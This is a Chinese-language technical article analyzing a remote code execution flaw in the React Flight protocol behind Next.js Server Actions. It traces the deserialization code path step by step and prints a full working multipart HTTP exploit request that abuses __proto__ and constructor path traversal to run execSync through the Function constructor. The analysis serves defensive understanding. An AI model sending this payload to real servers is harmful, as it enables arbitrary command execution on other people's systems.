深入探究 React 史上最大安全漏洞

Next.js Server Actions RCE 漏洞分析

摘要

本文档深入分析了 React Flight 协议(React Server Actions 的底层协议)中的一个远程代码执行 (RCE) 漏洞。该利用链串联了三个关键漏洞

  1. 引用解析中的未过滤路径遍历 (可访问 __proto__constructor)。
  2. 伪造 Chunk 注入 ------ 将精心构造的对象伪装成内部 Chunk 对象处理。
  3. Function 构造函数注入 ------ 将 _formData.get 方法替换为 Function 构造函数。

目录

  1. [React Server Actions 简介](#React Server Actions 简介 "#react-server-actions-%E7%AE%80%E4%BB%8B")
  2. [React Flight 协议](#React Flight 协议 "#react-flight-%E5%8D%8F%E8%AE%AE")
  3. [Payload 反序列化深度解析](#Payload 反序列化深度解析 "#payload-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90")
  4. [Payload 详情](#Payload 详情 "#payload-%E8%AF%A6%E6%83%85")
  5. 详细代码路径分析
  6. 漏洞利用流程可视化
  7. 根因总结

React Server Actions 简介

什么是 Server Actions?

React Server Actions 是 React 18 引入并完全集成在 Next.js 13+ App Router 中的一项功能。它允许开发者定义服务端函数,并在客户端组件中直接调用,而无需显式创建 API 路由。

jsx 复制代码
// app/actions.js
'use server'

export async function submitForm(formData) {
  const name = formData.get('name')
  await db.users.create({ name })
  return { success: true }
}
jsx 复制代码
// app/page.jsx
import { submitForm } from './actions'

export default function Page() {
  return (
    <form action={submitForm}>
      <input name="name" />
      <button type="submit">Submit</button>
    </form>
  )
}

Server Actions 的工作原理

当 Server Action 被调用时:

vbscript 复制代码
┌─────────────────────────────────────────────────────────────────────────────┐
│                        SERVER ACTION 流程                                   │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│   客户端 (Client)                  网络 (Network)              服务端 (Server) │
│   ──────                           ───────                      ──────      │
│                                                                             │
│   1. 用户提交表单                                                             │
│          │                                                                  │
│          ▼                                                                  │
│   2. React 使用 Flight                                                       │
│      协议序列化参数               POST /                                      │
│                                   multipart/form-data       3. Next.js 接收  │
│   ─────────────────────────────►  Next-Action: <id>              请求        │
│                                                                  │          │
│                                                                  ▼          │
│                                                           4. 使用 Flight     │
│                                                              反序列化参数     │
│                                                                  │          │
│                                                                  ▼          │
│                                                           5. 执行            │
│   7. React 根据结果     ◄─────────────────────────────       Server Action   │
│      更新 UI                  Flight 编码的响应                   │           │
│                                                                  ▼          │
│                                                           6. 序列化返回值     │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Next-Action 标头

当调用 Server Action 时,Next.js 会发送一个带有特殊标头的 POST 请求:

http 复制代码
POST /page HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
Next-Action: 1234567890abcdef        ← Server Action 标识符
Next-Router-State-Tree: ...          ← 客户端路由状态

Next-Action 标头告知服务器执行哪个已注册的函数。请求体包含序列化后的参数。


React Flight 协议

概述

Flight 协议 是 React 的自定义序列化格式,用于在服务端和客户端之间传输 React 组件树和数据。它旨在处理:

  • React 元素和组件
  • Promise 和异步数据
  • 循环引用
  • 二进制数据 (Blobs, TypedArrays)
  • 服务端引用 (在服务端运行的函数)

Flight 协议架构

scss 复制代码
┌─────────────────────────────────────────────────────────────────────────────┐
│                         FLIGHT 协议层级                                      │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │                     应用层 (Application Layer)                       │   │
│   │   Server Actions, React Server Components, 数据获取                  │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│                                    │                                        │
│                                    ▼                                        │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │                    序列化层 (Serialization Layer)                    │   │
│   │                                                                     │   │
│   │   ReactFlightServer.js (服务端 → 客户端 编码)                         │   │
│   │   ReactFlightClient.js (客户端 → 服务端 解码)                         │   │
│   │   ReactFlightReplyServer.js (客户端 → 服务端 回复解码) ← 漏洞所在       │   │
│   │   ReactFlightReplyClient.js (服务端 → 客户端 回复编码)                 │   │
│   │                                                                     │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│                                    │                                        │
│                                    ▼                                        │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │                     传输层 (Transport Layer)                         │   │
│   │   multipart/form-data, ReadableStream, fetch()                      │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Flight 引用类型

Flight 协议使用 $ 前缀的字符串 来编码纯 JSON 无法表示的特殊值:

前缀 类型 示例 描述
$$ 转义 $ "$$hello""$hello" $ 开头的字面量字符串
$@ Promise/Chunk "$@0" 引用 Chunk ID 0
$F 服务端引用 "$F0" 服务端函数引用
$T 临时引用 "$T" 不透明的临时引用
$Q Map "$Q0" 位于 Chunk 0 的 Map 对象
$W Set "$W0" 位于 Chunk 0 的 Set 对象
$K FormData "$K0" 位于 Chunk 0 的 FormData
$B Blob "$B0" 位于 Chunk 0 的 Blob
$n BigInt "$n123" BigInt 值
$D Date "$D2024-01-01" Date 对象
$N NaN "$N" NaN 值
$I Infinity "$I" 无穷大
$- -Infinity/-0 "$-I""$-0" 负无穷或负零
$u undefined "$u" undefined 值
$R ReadableStream "$R0" ReadableStream
$0-9a-f Chunk 引用 "$1", "$a" 通过十六进制 ID 引用 Chunk

基于 Chunk 的架构

Flight 将数据组织成 Chunks (块) ------ 可以相互引用的离散单元:

css 复制代码
┌────────────────────────────────────────────────────────────────────────────┐
│                           CHUNK 结构                                       │
├────────────────────────────────────────────────────────────────────────────┤
│                                                                            │
│   FormData 字段:                                                           │
│   ┌──────────────────────────────────────────────────────────────────┐     │
│   │  Field "0":  '{"name": "John", "ref": "$1"}'     ← Chunk 0       │     │
│   │  Field "1":  '{"address": "123 Main St"}'        ← Chunk 1       │     │
│   │  Field "2":  '"$@0"'                             ← Chunk 2       │     │
│   └──────────────────────────────────────────────────────────────────┘     │
│                                                                            │
│   解析结果:                                                                 │
│   ┌──────────────────────────────────────────────────────────────────┐     │
│   │  Chunk 0: {name: "John", ref: → Chunk 1}                         │     │
│   │  Chunk 1: {address: "123 Main St"}                               │     │
│   │  Chunk 2: Promise<Chunk 0>                                       │     │
│   └──────────────────────────────────────────────────────────────────┘     │
│                                                                            │
└────────────────────────────────────────────────────────────────────────────┘

Chunk 对象(内部实现)

在 React 内部,Chunk 被表示为具有类似 Promise 行为的对象:

javascript 复制代码
// 摘自 ReactFlightReplyServer.js (118-123行)
function Chunk(status, value, reason, response) {
  this.status = status;      // 'pending' | 'blocked' | 'resolved_model' | 'fulfilled' | 'rejected'
  this.value = value;        // 实际数据或挂起的监听器
  this.reason = reason;      // 错误原因或 Chunk ID
  this._response = response; // 父级 Response 对象
}

// Chunks 继承自 Promise.prototype
Chunk.prototype = Object.create(Promise.prototype);
Chunk.prototype.then = function(resolve, reject) { /* ... */ };

基于路径的引用(漏洞点)

Flight 支持使用冒号分隔的路径进行嵌套属性访问

bash 复制代码
"$0:users:0:name"
   │  │    │  │
   │  │    │  └── 属性 "name"
   │  │    └───── 数组索引 0
   │  └────────── 属性 "users"
   └───────────── Chunk ID 0

解析过程:

javascript 复制代码
// 摘自 getOutlinedModel() - 602-616行
const path = reference.split(':');  // ["0", "users", "0", "name"]
const id = parseInt(path[0], 16);   // 0
const chunk = getChunk(response, id);

let value = chunk.value;
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // 遍历: value["users"]["0"]["name"]
}

🔴 漏洞所在: 对属性名称没有任何验证,允许:

  • $0:__proto__:then - 访问原型链
  • $0:constructor:constructor - 访问 Function 构造函数

Payload 反序列化深度解析

本节将逐步追踪恶意 Payload 是如何被反序列化的。 点击查看详细的代码路径分析。

步骤 1: 接收 HTTP 请求

http 复制代码
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model",...}
------Boundary
Content-Disposition: form-data; name="1"

"$@0"
------Boundary
Content-Disposition: form-data; name="2"

[]
------Boundary--

步骤 2: FormData 解析

Next.js 将 multipart body 解析为 FormData 对象:

javascript 复制代码
// 概念性表示
formData = {
  "0": '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{...}}',
  "1": '"$@0"',
  "2": '[]'
}

步骤 3: Response 对象创建

javascript 复制代码
// ReactFlightActionServer.js:62-67
const actionResponse = createResponse(
  serverManifest,
  formFieldPrefix,    // 例如 "" 或 "$ACTION_0:"
  undefined,          // temporaryReferences
  body,               // FormData
);

// 创建 Response 对象 (ReactFlightReplyServer.js:1091-1108)
response = {
  _bundlerConfig: serverManifest,
  _prefix: formFieldPrefix,      // 用于在 FormData 中查找 Chunk
  _formData: body,               // 原始 FormData
  _chunks: new Map(),            // 解析后的 Chunk 缓存
  _closed: false,
  _temporaryReferences: undefined,
}

步骤 4: 获取 Root Chunk

javascript 复制代码
// ReactFlightActionServer.js:69-72
const refPromise = getRoot(actionResponse);

// getRoot 返回 chunk 0 (ReactFlightReplyServer.js:177-180)
function getRoot(response) {
  const chunk = getChunk(response, 0);  // 获取 ID 为 0 的 Chunk
  return chunk;  // 作为 Thenable 返回 (具有 .then 方法)
}

步骤 5: 从 FormData 查找 Chunk

javascript 复制代码
// getChunk (ReactFlightReplyServer.js:518-540)
function getChunk(response, id) {
  const chunks = response._chunks;
  let chunk = chunks.get(id);

  if (!chunk) {
    const prefix = response._prefix;
    const key = prefix + id;                        // "" + "0" = "0"
    const backingEntry = response._formData.get(key);  // 获取字段 "0"

    if (backingEntry != null) {
      // 从 JSON 字符串创建 Chunk
      chunk = createResolvedModelChunk(response, backingEntry, id);
      // chunk.status = 'resolved_model'
      // chunk.value = '{"then":"$1:__proto__:then",...}'
      // chunk._response = response
    }
    chunks.set(id, chunk);
  }
  return chunk;
}

步骤 6: 通过 .then() 强制解析

javascript 复制代码
// ReactFlightActionServer.js:75
refPromise.then(() => {});  // 触发 Chunk.prototype.then

步骤 7: Chunk.prototype.then 执行

javascript 复制代码
// ReactFlightReplyServer.js:127-165
Chunk.prototype.then = function(resolve, reject) {
  const chunk = this;

  switch (chunk.status) {
    case 'resolved_model':          // 我们的 Chunk 匹配这个状态!
      initializeModelChunk(chunk);  // 解析 JSON
      break;
  }

  switch (chunk.status) {
    case 'fulfilled':
      resolve(chunk.value);         // 返回解析后的值
      break;
  }
}

步骤 8: Model 初始化 (JSON 解析)

javascript 复制代码
// initializeModelChunk (ReactFlightReplyServer.js:446-501)
function initializeModelChunk(chunk) {
  const resolvedModel = chunk.value;
  // = '{"then":"$1:__proto__:then","status":"resolved_model",...}'

  const rawModel = JSON.parse(resolvedModel);
  // = {then: "$1:__proto__:then", status: "resolved_model", ...}

  const value = reviveModel(
    chunk._response,      // Response 对象
    {'': rawModel},       // 包装对象
    '',                   // Key
    rawModel,             // 解析后的 JSON
    rootReference         // 引用路径
  );
}

步骤 9: 递归还原 (处理属性)

javascript 复制代码
// reviveModel (ReactFlightReplyServer.js:386-442)
function reviveModel(response, parentObj, parentKey, value, reference) {
  if (typeof value === 'string') {
    // 处理 $ 前缀的特殊值
    return parseModelString(response, parentObj, parentKey, value, reference);
  }

  if (typeof value === 'object' && value !== null) {
    // 递归处理所有属性
    for (const key in value) {
      const newValue = reviveModel(
        response, value, key, value[key], childRef
      );
      value[key] = newValue;  // 替换为解析后的值
    }
  }
  return value;
}

步骤 10: 处理 $1:__proto__:then

当还原值为 "$1:__proto__:then"then 属性时:

javascript 复制代码
// parseModelString (ReactFlightReplyServer.js:916-1089)
function parseModelString(response, obj, key, value, reference) {
  if (value[0] === '$') {
    // ... 各种 $X 情况 ...

    // 默认: 视为带路径的 Chunk 引用
    const ref = value.slice(1);  // "1:__proto__:then"
    return getOutlinedModel(response, ref, obj, key, createModel);
  }
}

步骤 11: 路径遍历 (漏洞核心)

javascript 复制代码
// getOutlinedModel (ReactFlightReplyServer.js:595-638)
function getOutlinedModel(response, reference, parentObject, key, map) {
  const path = reference.split(':');  // ["1", "__proto__", "then"]
  const id = parseInt(path[0], 16);   // 1
  const chunk = getChunk(response, id);  // 获取 Chunk 1

  // Chunk 1 包含 "$@0" - 一个指向 Chunk 0 的引用
  // 解析后,chunk1.value = chunk0 (Chunk 对象本身)

  switch (chunk.status) {
    case 'fulfilled':
      let value = chunk.value;        // Chunk 0 的 Chunk 对象

      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];       // 🔴 没有净化处理!
      }
      // path[1] = "__proto__"  →  value = Chunk.prototype
      // path[2] = "then"       →  value = Chunk.prototype.then (FUNCTION!)

      return map(response, value);    // 返回 .then 函数
  }
}

步骤 12: 反序列化结果

处理完毕后,Payload 对象变为:

javascript 复制代码
{
  then: Chunk.prototype.then,  // 🔴 窃取的函数!
  status: "resolved_model",
  reason: -1,
  value: '{"then":"$B1337"}',
  _response: {
    _prefix: "process.mainModule.require('child_process').execSync('say haha');",
    _chunks: Map,              // 来自 $Q2
    _formData: {
      get: Function            // 🔴 FUNCTION 构造函数! (来自 $1:constructor:constructor)
    }
  }
}

反序列化流程图解

ini 复制代码
┌─────────────────────────────────────────────────────────────────────────────┐
│                       反序列化流程 (DESERIALIZATION FLOW)                    │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│   HTTP 请求                                                                 │
│        │                                                                    │
│        ▼                                                                    │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │ FormData 解析                                                       │   │
│   │   "0" → '{"then":"$1:__proto__:then",...}'                          │   │
│   │   "1" → '"$@0"'                                                     │   │
│   │   "2" → '[]'                                                        │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│        │                                                                    │
│        ▼                                                                    │
│   ┌──────────────────────────────────────────────────────────────────────┐  │
│   │ createResponse()                                                     │  │
│   │   response._formData = FormData                                      │  │
│   │   response._chunks = Map()                                           │  │
│   └──────────────────────────────────────────────────────────────────────┘  │
│        │                                                                    │
│        ▼                                                                    │
│   ┌──────────────────────────────────────────────────────────────────────┐  │
│   │ getRoot() → getChunk(response, 0)                                    │  │
│   │   从字段 "0" 创建 ResolvedModelChunk                                  │  │
│   └──────────────────────────────────────────────────────────────────────┘  │
│        │                                                                    │
│        ▼                                                                    │
│   ┌──────────────────────────────────────────────────────────────────────┐  │
│   │ chunk.then(() => {})   ← 触发点                                      │  │
│   │   └── initializeModelChunk(chunk)                                    │  │
│   │         └── JSON.parse(chunk.value)                                  │  │
│   │         └── reviveModel(response, {...}, ...)                        │  │
│   └──────────────────────────────────────────────────────────────────────┘  │
│        │                                                                    │
│        ▼                                                                    │
│   ┌──────────────────────────────────────────────────────────────────────┐  │
│   │ reviveModel() - 遍历每个属性:                                         │  │
│   │                                                                      │  │
│   │   "then": "$1:__proto__:then"                                        │  │
│   │      └── parseModelString()                                          │  │
│   │            └── getOutlinedModel("1:__proto__:then")                  │  │
│   │                  └── path = ["1", "__proto__", "then"]               │  │
│   │                  └── chunk1 = getChunk(1)  // "$@0" → chunk0         │  │
│   │                  └── value = chunk0["__proto__"]["then"]             │  │
│   │                  └── 返回 Chunk.prototype.then  🔴                   │  │
│   │                                                                      │  │
│   │   "_formData.get": "$1:constructor:constructor"                      │  │
│   │      └── path = ["1", "constructor", "constructor"]                  │  │
│   │      └── value = Object.constructor = Function  🔴                   │  │
│   │                                                                      │  │
│   └──────────────────────────────────────────────────────────────────────┘  │
│        │                                                                    │
│        ▼                                                                    │
│   ┌──────────────────────────────────────────────────────────────────────┐  │
│   │ 结果: 包含以下内容的恶意对象:                                          │  │
│   │   - then = Chunk.prototype.then (使其变为 thenable)                  │  │
│   │   - _response._formData.get = Function 构造函数                      │  │
│   │   - _response._prefix = 恶意代码字符串                                │  │
│   └──────────────────────────────────────────────────────────────────────┘  │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Payload 详情

http 复制代码
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('say haha');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload 结构拆解

字段 目的
0 主 JSON Payload 带有恶意 _response 的伪造 Chunk 对象
1 "$@0" Promise 引用,创建循环依赖
2 [] 空数组,用于 Map 引用的占位符

主 Payload 对象

json 复制代码
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('say haha');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

详细代码路径分析

阶段 1: 入口点

文件: packages/react-server/src/ReactFlightActionServer.js

scss 复制代码
POST / → decodeAction() → decodeBoundActionMetaData()
                              ↓
                         createResponse(serverManifest, formFieldPrefix, undefined, body)
                              ↓
                         getRoot(actionResponse)  // 返回 Chunk 0 (作为 thenable)
                              ↓
                         refPromise.then(() => {})  // 第 75 行 - 强制解析

代码 (56-81 行):

javascript 复制代码
function decodeBoundActionMetaData(body, serverManifest, formFieldPrefix) {
  const actionResponse = createResponse(
    serverManifest,
    formFieldPrefix,
    undefined,
    body,
  );
  close(actionResponse);
  const refPromise = getRoot(actionResponse);

  // 强制初始化
  refPromise.then(() => {});  // ← 触发点 (TRIGGER POINT)

  if (refPromise.status !== 'fulfilled') {
    throw refPromise.reason;
  }
  return refPromise.value;
}

第 75 行 ,对 Root Chunk 调用 .then(),触发了整个利用链。


阶段 2: Chunk 解析与原型链访问

文件: packages/react-server/src/ReactFlightReplyServer.js

代码 (127-143 行):

javascript 复制代码
Chunk.prototype.then = function(resolve, reject) {
  const chunk = this;
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);  // 第 137 行 - 触发解析
      break;
  }
  // 初始化后状态可能已改变
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);  // 第 143 行 - 将值传递给 Promise 链
      break;
    // ...
  }
}

当 Chunk 0(包含 Payload)被解析时:

  1. initializeModelChunk 解析 JSON。
  2. reviveModel 递归处理所有属性。

阶段 3: 关键漏洞 ------ 路径遍历

文件: packages/react-server/src/ReactFlightReplyServer.js

代码 (595-616 行):

javascript 复制代码
function getOutlinedModel(response, reference, parentObject, key, map) {
  const path = reference.split(':');  // "1:__proto__:then" → ["1", "__proto__", "then"]
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);

  // ... chunk 初始化 ...

  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];  // 614-615 行: 没有净化处理!
      }
      return map(response, value);
  }
}
漏洞分析

冒号分隔的路径允许访问 任何 属性,包括:

  • __proto__ - 访问原型链
  • constructor - 访问构造函数

这里没有任何验证来阻止危险的属性访问。


阶段 4: 窃取 Chunk.prototype.then

$1:__proto__:then 被解析时:

ini 复制代码
$1:__proto__:then
    ↓
path = ["1", "__proto__", "then"]
    ↓
chunk1 = getChunk(response, 1)  // 包含 "$@0"
    ↓
"$@0" 解析为 chunk0 (Chunk 对象本身)
    ↓
value = chunk0["__proto__"]     // = Chunk.prototype (继承自 Promise.prototype)
    ↓
value = value["then"]           // = Chunk.prototype.then 函数

结果: Payload 的 then 属性现在持有了 Chunk.prototype.then,使该 Payload 对象变为了一个 Thenable 对象。


阶段 5: 获取 Function 构造函数

$1:constructor:constructor 被解析时:

ini 复制代码
$1:constructor:constructor
    ↓
path = ["1", "constructor", "constructor"]
    ↓
chunk1.value = chunk0 (解析后的对象)
    ↓
value = chunk0["constructor"]    // = Object
    ↓
value = Object["constructor"]    // = Function 构造函数

结果: _formData.get 属性变成了 Function 构造函数


阶段 6: 伪造 Chunk 被视为真实 Chunk

文件: packages/react-server/src/ReactFlightReplyServer.js

代码 (135-137 行):

javascript 复制代码
switch (chunk.status) {
  case RESOLVED_MODEL:         // Payload 具有 status: "resolved_model"
    initializeModelChunk(chunk);  // 使用 PAYLOAD 作为 "chunk" 调用!

Payload 完美地模仿了 Chunk 的结构:

Chunk 属性 Payload 值 目的
status "resolved_model" 匹配 RESOLVED_MODEL 常量
value "{\"then\":\"$B1337\"}" 待解析的内部 Payload
reason -1 模仿 Chunk ID
_response {...malicious...} 注入的恶意 Response 对象

阶段 7: 恶意 Response 对象注入

文件: packages/react-server/src/ReactFlightReplyServer.js

代码 (446-474 行):

javascript 复制代码
function initializeModelChunk(chunk) {
  // ...
  const resolvedModel = chunk.value;     // = "{\"then\":\"$B1337\"}"
  // ...
  const rawModel = JSON.parse(resolvedModel);

  const value = reviveModel(
    chunk._response,  // ← 使用伪造的 _response!
    {'': rawModel},
    '',
    rawModel,
    rootReference,
  );
}

伪造的 _response 包含:

javascript 复制代码
{
  "_prefix": "process.mainModule.require('child_process').execSync('say haha');",
  "_formData": {"get": Function}  // 已经解析为 Function 构造函数!
}

关键问题: 没有验证 chunk._response 是否为合法的 Response 对象。


阶段 8: 通过 $B 引用执行代码

文件: packages/react-server/src/ReactFlightReplyServer.js

代码 (1059-1067 行):

javascript 复制代码
case 'B': {  // Blob 引用
  const id = parseInt(value.slice(2), 16);  // 0x1337 = 4919
  const prefix = response._prefix;           // 恶意代码字符串
  const blobKey = prefix + id;               // "process.mainModule...execSync('say haha');4919"

  const backingEntry = response._formData.get(blobKey);  // Function(blobKey)!
  return backingEntry;
}
执行流程
javascript 复制代码
response._formData.get(blobKey)
    ↓
// _formData.get 已经被替换为 Function 构造函数
Function("process.mainModule.require('child_process').execSync('say haha');4919")
    ↓
// 返回一个匿名函数,函数体为:
function anonymous() {
  process.mainModule.require('child_process').execSync('say haha');
  4919
}

阶段 9: 最终触发 ------ RCE

返回的 Function 对象变成了内部对象 {then: <Function>}then 属性。

当 Promise 解析遇到这个 Thenable 对象时:

javascript 复制代码
// JavaScript Promise 内部机制:
if (typeof value.then === 'function') {
  value.then(resolve, reject);  // 调用恶意函数!
}

调用该函数将执行:

javascript 复制代码
process.mainModule.require('child_process').execSync('say haha')

🔴 RCE 达成。


漏洞利用流程可视化

javascript 复制代码
┌───────────────────────────────────────────────────────────────────────┐
│                         PAYLOAD 结构                                  │
├───────────────────────────────────────────────────────────────────────┤
│ Field "0": {                                                          │
│   "then": "$1:__proto__:then",     ──────► 窃取 Chunk.prototype.then  │
│   "status": "resolved_model",       ──────► 模仿 Chunk                │
│   "value": "{\"then\":\"$B1337\"}", ──────► 内部 Payload              │
│   "_response": {                                                      │
│     "_prefix": "execSync('say haha');",  ──► 待执行代码                │
│     "_formData": {"get": "$1:constructor:constructor"}  ──► Function  │
│   }                                                                   │
│ }                                                                     │
│                                                                       │
│ Field "1": "$@0"   ──────► 创建指向 Field 0 的循环引用                 │
│ Field "2": "[]"    ──────► 空数组占位符                               │
└───────────────────────────────────────────────────────────────────────┘

                              ▼

┌─────────────────────────────────────────────────────────────────────┐
│                         利用链 (EXPLOITATION CHAIN)                  │
├─────────────────────────────────────────────────────────────────────┤
│  1. 服务端收到带有 Next-Action 标头的 POST 请求                         │
│  2. decodeAction() → getRoot() → 调用 .then() (第 75 行)             │
│  3. $1:__proto__:then → 窃取 Chunk.prototype.then                   │
│  4. $1:constructor:constructor → 获取 Function 构造函数              │
│  5. Payload 对象变为 Thenable (拥有 .then 方法)                       │
│  6. Promise 解析 Payload → 视为 Chunk 处理 → initializeModelChunk    │
│  7. 使用带有恶意 _prefix 和 _formData.get 的伪造 _response            │
│  8. $B1337 → Function("malicious code") 被调用                      │
│  9. 返回的函数被用作 .then() → 被执行                                  │
│ 10. RCE: process.mainModule.require('child_process').execSync()     │
└─────────────────────────────────────────────────────────────────────┘

根因总结

位置 行号 漏洞
ReactFlightReplyServer.js 614-615 未经净化的属性路径遍历允许访问 __proto__constructor
ReactFlightReplyServer.js 137 具有匹配 status 属性的伪造对象被当作真实 Chunk 处理
ReactFlightReplyServer.js 468-474 使用 chunk._response 时未验证其是否为合法的 Response 对象
ReactFlightReplyServer.js 1066 调用 _formData.get() 时未验证其是否为真实的 FormData 方法

免责声明

本分析仅供教育和防御性安全目的使用。提供这些信息是为了帮助理解、检测和防止此类漏洞的利用。

相关推荐
zReadonly1 小时前
关于vxeTable转换树状表格以及问题思考
前端
一壶纱1 小时前
uni-app 使用 uview-plus
前端
敲敲了个代码1 小时前
从零实现一个「就地编辑」组件:深入理解 OOP 封装与复用的艺术
前端·javascript·学习·面试·前端框架
xiechao1 小时前
函数组件 useEffect 清理函数抛错:ErrorBoundary 能捕获吗?
前端·react.js
南游2 小时前
数组判断?我早不用instanceof了,现在一行代码搞定!
前端·javascript
mouseliu2 小时前
pnpm approve-builds报错
前端
JIseven2 小时前
app页面-锚点滚动 和 滚动自动激活菜单
前端·javascript·html
AAA阿giao2 小时前
在你的网页中嵌入 Coze 智能客服:一步步打造专属 AI Agent
前端·javascript·人工智能
AAA阿giao2 小时前
深入解析 OOP 考题之 EditInPlace 类:从零开始掌握面向对象编程实战
前端·javascript·dom